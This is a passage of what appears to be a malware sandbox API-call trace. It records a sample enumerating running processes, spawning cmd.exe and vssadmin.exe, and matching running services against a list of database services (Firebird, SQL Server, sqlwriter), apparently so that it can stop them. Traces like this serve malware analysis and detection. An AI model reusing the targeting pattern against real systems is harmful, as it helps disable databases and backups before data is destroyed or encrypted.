cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="stupid.exe")) returned 1 [0050.691] lstrlenW (lpString="stupid.exe") returned 10 [0050.692] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="area_burst_factors.exe")) returned 1 [0050.692] lstrlenW (lpString="area_burst_factors.exe") returned 22 [0050.692] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="addition.exe")) returned 1 [0050.692] lstrlenW (lpString="addition.exe") returned 12 [0050.693] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="kept retirement.exe")) returned 1 [0050.693] lstrlenW (lpString="kept retirement.exe") returned 19 [0050.693] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lmmold.exe")) returned 1 [0050.694] lstrlenW (lpString="lmmold.exe") returned 10 [0050.694] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soma weighted.exe")) returned 1 [0050.694] lstrlenW (lpString="soma weighted.exe") returned 17 [0050.694] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cartridge donation.exe")) returned 1 [0050.694] lstrlenW (lpString="cartridge donation.exe") returned 22 [0050.695] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="anti.exe")) returned 1 [0050.695] lstrlenW (lpString="anti.exe") returned 8 [0050.695] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cashiersshot.exe")) returned 1 [0050.695] lstrlenW (lpString="cashiersshot.exe") returned 16 [0050.696] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="poundfi.exe")) returned 1 [0050.696] lstrlenW (lpString="poundfi.exe") returned 11 [0050.696] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conditions_hired.exe")) returned 1 [0050.696] lstrlenW (lpString="conditions_hired.exe") returned 20 [0050.696] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mercedes.exe")) returned 1 [0050.697] lstrlenW (lpString="mercedes.exe") returned 12 [0050.697] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="intake ringtones vegetables.exe")) returned 1 [0050.756] lstrlenW (lpString="intake ringtones vegetables.exe") returned 31 [0050.756] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="training_wiring.exe")) returned 1 [0050.756] lstrlenW (lpString="training_wiring.exe") returned 19 [0050.756] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="democratic.exe")) returned 1 [0050.757] lstrlenW (lpString="democratic.exe") returned 14 [0050.757] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soc_housewares_senate.exe")) returned 1 [0050.757] lstrlenW (lpString="soc_housewares_senate.exe") returned 25 [0050.757] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="receptors trustees ul.exe")) returned 1 [0050.758] lstrlenW (lpString="receptors trustees ul.exe") returned 25 [0050.758] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="documented.exe")) returned 1 [0050.758] lstrlenW (lpString="documented.exe") returned 14 [0050.758] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0050.759] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0050.759] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0050.759] lstrlenW (lpString="n.exe") returned 5 [0050.759] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa70, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0050.760] lstrlenW (lpString="cmd.exe") returned 7 [0050.760] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0050.760] lstrlenW (lpString="conhost.exe") returned 11 [0050.760] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa80, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0050.761] lstrlenW (lpString="vssadmin.exe") returned 12 [0050.761] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0050.761] lstrlenW (lpString="VSSVC.exe") returned 9 [0050.761] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0050.762] CloseHandle (hObject=0x180) returned 1 [0050.762] Sleep (dwMilliseconds=0x1f4) [0051.348] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x740060 [0051.348] EnumServicesStatusExW (in: hSCManager=0x740060, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0) returned 0 [0051.348] GetLastError () returned 0xea [0051.348] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x123e) returned 0x3a77708 [0051.348] EnumServicesStatusExW (in: hSCManager=0x740060, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3a77708, cbBufSize=0x123e, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3a77708, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0) returned 1 [0051.349] CloseServiceHandle (hSCObject=0x740060) returned 1 [0051.349] lstrlenW (lpString="Appinfo") returned 7 [0051.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0051.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0051.349] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0051.349] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0051.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0051.349] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0051.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0051.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0051.349] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0051.349] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0051.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0051.349] lstrlenW (lpString="AudioSrv") returned 8 [0051.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0051.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0051.349] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0051.349] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0051.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0051.349] lstrlenW (lpString="BFE") returned 3 [0051.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0051.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0051.350] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0051.350] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0051.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0051.350] lstrlenW (lpString="CryptSvc") returned 8 [0051.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0051.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0051.350] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0051.350] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0051.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0051.350] lstrlenW (lpString="CscService") returned 10 [0051.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0051.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0051.350] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0051.350] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0051.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0051.350] lstrlenW (lpString="DcomLaunch") returned 10 [0051.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0051.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0051.350] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0051.350] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0051.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0051.350] lstrlenW (lpString="Dhcp") returned 4 [0051.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0051.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0051.350] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0051.350] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0051.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0051.350] lstrlenW (lpString="Dnscache") returned 8 [0051.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0051.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0051.350] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0051.350] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0051.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0051.350] lstrlenW (lpString="DPS") returned 3 [0051.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0051.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0051.351] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0051.351] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0051.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0051.351] lstrlenW (lpString="eventlog") returned 8 [0051.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0051.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0051.351] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0051.351] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0051.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0051.351] lstrlenW (lpString="EventSystem") returned 11 [0051.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0051.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0051.351] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0051.351] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0051.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0051.351] lstrlenW (lpString="gpsvc") returned 5 [0051.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0051.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0051.351] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0051.351] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0051.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0051.351] lstrlenW (lpString="iphlpsvc") returned 8 [0051.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0051.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0051.351] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0051.351] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0051.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0051.351] lstrlenW (lpString="LanmanServer") returned 12 [0051.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0051.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0051.351] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0051.351] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0051.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0051.352] lstrlenW (lpString="LanmanWorkstation") returned 17 [0051.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0051.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0051.352] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0051.352] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0051.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0051.352] lstrlenW (lpString="lmhosts") returned 7 [0051.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0051.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0051.352] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0051.352] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0051.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0051.352] lstrlenW (lpString="MMCSS") returned 5 [0051.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0051.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0051.352] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0051.352] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0051.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0051.352] lstrlenW (lpString="MpsSvc") returned 6 [0051.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0051.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0051.352] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0051.352] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0051.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0051.352] lstrlenW (lpString="Netman") returned 6 [0051.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0051.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0051.352] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0051.352] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0051.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0051.352] lstrlenW (lpString="netprofm") returned 8 [0051.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0051.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0051.352] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0051.352] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0051.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0051.353] lstrlenW (lpString="NlaSvc") returned 6 [0051.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0051.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0051.353] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0051.353] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0051.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0051.353] lstrlenW (lpString="nsi") returned 3 [0051.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0051.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0051.353] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0051.353] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0051.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0051.353] lstrlenW (lpString="PcaSvc") returned 6 [0051.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0051.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0051.353] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0051.353] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0051.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0051.353] lstrlenW (lpString="PlugPlay") returned 8 [0051.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0051.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0051.353] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0051.353] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0051.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0051.353] lstrlenW (lpString="Power") returned 5 [0051.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0051.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0051.353] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0051.353] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0051.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0051.353] lstrlenW (lpString="ProfSvc") returned 7 [0051.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0051.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0051.353] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0051.353] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0051.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0051.354] lstrlenW (lpString="RpcEptMapper") returned 12 [0051.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0051.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0051.354] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0051.354] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0051.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0051.354] lstrlenW (lpString="RpcSs") returned 5 [0051.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0051.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0051.354] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0051.354] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0051.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0051.354] lstrlenW (lpString="SamSs") returned 5 [0051.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0051.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0051.354] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0051.354] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0051.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0051.354] lstrlenW (lpString="Schedule") returned 8 [0051.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0051.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0051.354] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0051.354] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0051.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0051.354] lstrlenW (lpString="SENS") returned 4 [0051.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0051.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0051.354] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0051.354] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0051.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0051.354] lstrlenW (lpString="ShellHWDetection") returned 16 [0051.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0051.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0051.354] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0051.355] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0051.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0051.355] lstrlenW (lpString="Spooler") returned 7 [0051.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0051.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0051.355] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0051.355] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0051.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0051.355] lstrlenW (lpString="SysMain") returned 7 [0051.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0051.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0051.355] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0051.355] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0051.355] lstrcmpiW 